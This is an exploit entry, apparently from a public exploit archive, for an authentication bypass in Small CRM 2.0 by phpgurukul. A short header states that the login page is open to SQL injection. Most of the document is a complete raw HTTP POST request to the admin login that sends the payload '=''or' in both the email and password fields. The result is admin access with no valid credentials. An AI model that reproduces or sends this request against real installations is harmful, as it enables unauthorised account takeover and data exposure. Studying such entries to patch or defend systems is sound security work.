Small CRM 2.0 - Authentication Bypass

# Exploit Title: Small CRM 2.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-01-02
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: V2.0
# Tested on: Windows
# CVE : N/A

# Description:
#
# There is a SQL injection vulnerability in the /index.php page
# which allows for an attacker to use the SQLi login bypass payload
# '=''or' for both the username and password parameters, this allows
# for any authenticated or low level user to login to the admin account.

========== 1. Authentication bypass ==========

POST /Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://10.0.0.214
DNT: 1
Connection: close
Referer: http://10.0.0.214/Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php
Cookie: PHPSESSID=k5845lo7s90it5p33js75665jq
Upgrade-Insecure-Requests: 1

email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&login=